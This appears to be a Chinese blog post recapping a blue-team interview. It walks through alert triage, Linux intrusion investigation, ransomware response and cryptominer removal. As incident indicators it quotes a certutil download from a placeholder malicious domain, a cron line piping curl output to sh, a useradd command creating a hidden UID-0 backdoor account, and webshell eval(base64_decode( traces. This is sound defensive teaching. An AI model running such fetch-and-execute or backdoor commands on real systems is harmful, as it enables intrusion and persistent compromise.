复盘一次蓝队HVV实战面试:从设备告警到病毒处置的攻防推演

1. 天眼告警分析:从误报到真实攻击的实战判断

那天面试官上来就甩给我一个天眼告警截图:"说说看,这个告警是真的被入侵了还是系统误报?"当时我手心直冒汗,现在复盘才发现,这类问题其实有标准解题框架。先说最关键的判断原则:内外网IP差异处理。如果是内网IP触发的告警,比如10.16.16.13尝试连接10.16.17.52,我会立即用sip:"10.16.16.13" AND dip:"10.16.17.52"语法拉取完整日志,重点看流量包里是否出现whoamiipconfig这类横向移动特征命令。

实际操作中我发现个细节:很多内网攻击会伪装成业务流量。有次遇到个案例,攻击者把恶意请求藏在正常API调用里,直到发现certutil -urlcache -split -f http://恶意域名这种下载指令才确认失陷。这时要立即做三件事:隔离该IP、检查同网段其他主机、上报研判组。如果是外网IP,重点看请求响应包对比。比如某个PHP文件返回了200状态码,但响应体里出现eval(base64_decode(这类危险函数,基本可以判定是webshell通信。

日志检索时我常用这些语法组合:

  • 时间范围锁定:event_time:["2023-07-01 00:00" to "2023-07-01 23:59"]
  • 多条件过滤:(sip:"1.1.1.1" OR dip:"2.2.2.2") AND alert_name:"SQL注入"
  • 排除误报:NOT alert_name:"扫描探测"

2. Shell入侵排查:攻击入口定位的八步法

当面试官问"服务器被上传了shell怎么办",千万别直接说"查日志"就完了。我有套完整的排查流程,最近实战中刚用这套方法挖出个隐藏很深的Docker逃逸后门:

第一步直奔/var/log/secure,用grep 'Failed password' /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr统计爆破来源IP。有次发现某IP在凌晨3点尝试了200多次,追踪发现是跳板机被控。

第二步查用户登录记录,last -i会显示登录IP,特别注意pts/0这类伪终端。曾遇到攻击者用useradd -o -u 0 -g 0 -M -d /root -s /bin/bash backdoor创建UID=0的隐藏账号。

第三步看当前连接,netstat -antp | grep EST配合ss -ltnp比单纯用netstat更全面。上周排查时发现有个ESTABLISHED连接指向境外IP的3333端口,最终定位到是挖矿木马。

第四步进程检查要用ps -ef --forest看父子进程关系。有次看到/tmp/.X11-unix下有个bash进程的父进程是nginx,明显不正常。

第五步文件排查重点在/tmp、/dev/shm这些临时目录,用find / -type f -mtime -1 -name "*.php"找最近修改的PHP文件。记得某次在/usr/lib/python2.7/site-packages里发现恶意库文件。

第六步检查计划任务,crontab -lls -la /etc/cron.*都要看。遇到过攻击者写入*/5 * * * * curl http://恶意域名|sh的定时任务。

第七步查SUID文件,find / -perm -4000 -type f 2>/dev/null能找到被篡改的权限设置。曾发现/usr/bin/chfn被替换成恶意版本。

第八步最后用chkrootkitrkhunter做全盘扫描。有次挖矿病毒把/bin/ps替换了,导致常规命令看不到恶意进程。

3. 勒索病毒应急响应:从识别到处置的完整链条

面试官突然问:"如果发现服务器文件全变成.locked后缀怎么办?"这种场景下分秒必争,我的处置经验是:

识别阶段先看三个关键点:

  1. 文件加密特征:不仅看后缀,还要用file命令检查文件头。某次应急时发现攻击者把.jpg文件加密后仍保留原后缀
  2. 勒索信位置:通常放在/root//home/*/Desktop或共享目录,用find / -name "README*.txt" -o -name "HOW_TO_DECRYPT.*"快速定位
  3. 进程行为:Windows下看vssadmin list shadows是否被删除卷影副本,Linux用lsof | grep -i delete找被删除但未释放的文件

处置阶段必须按顺序操作:

  1. 立即断网:如果是物理机直接拔网线,虚拟机就禁用网卡。有次客户先关机再找我们,结果重启后加密更彻底
  2. 取证备份:用dd if=/dev/sda1 of=/mnt/backup/sda1.img bs=1M做磁盘镜像,特别注意备份/var/log/下的日志
  3. 影响评估:统计find / -type f -name "*.encrypted" | wc -l了解加密文件量,优先确认数据库是否受损
  4. 恢复方案:如果有备份,在隔离环境测试恢复;遇到WannaCry这类利用永恒之蓝漏洞的,要先打MS17-010补丁

预防方面我总结出"三不三要"原则:

  • 不要启用弱密码RDP
  • 不要随意开放445等高风险端口
  • 不要点击可疑邮件附件
  • 要定期做离线备份
  • 要启用文件完整性监控
  • 要关闭不必要的SMBv1协议

4. 挖矿病毒查杀:从CPU异常到彻底清理

"服务器CPU跑满是怎么回事?"这个问题背后八成是挖矿病毒。上个月处理的一个案例很典型:某电商网站卡顿,发现CPU持续100%,最后揪出是Redis未授权访问导致的挖矿程序。

快速定位技巧

  • top看异常进程,注意改名伪装成kworker/0:1H的进程
  • netstat -antp | grep EST找境外IP连接,特别是俄罗斯、乌克兰的矿池地址
  • cat /proc/[pid]/environ查看进程环境变量,很多挖矿会带--donate-level=1参数
  • ls -la /proc/[pid]/exe看实际执行路径,常见在/tmp/.X11-unix/下有隐藏文件

清理步骤

  1. 先保存证据:cat /proc/[pid]/cmdline > /tmp/malware_cmdline.txt
  2. 杀进程不能只用kill,要用kill -9 [pid]确保终止
  3. 删除文件时要rm -rf /tmp/.X11-unix/[随机名]连带隐藏目录一起清
  4. 检查定时任务:crontab -l/var/spool/cron/都要看
  5. 清除SSH密钥后门:rm -f /root/.ssh/authorized_keys并重设密码

防护加固

  • Redis配置requirepassrename-command FLUSHALL ""
  • Docker API不要暴露2375端口
  • iptables -A INPUT -p tcp --dport 2375 -j DROP封禁高危端口
  • 定期运行find / -perm -4000 -type f -exec ls -la {} \;查SUID文件

有次遇到特别顽固的挖矿病毒,清理后总是复活,最后发现是攻击者通过Jenkins未授权脚本控制台植入的。所以彻底排查一定要检查所有Web管理界面,包括:

  • Jenkins脚本命令行
  • Elasticsearch的动态脚本
  • Hadoop YARN的资源管理器
  • WebLogic的T3协议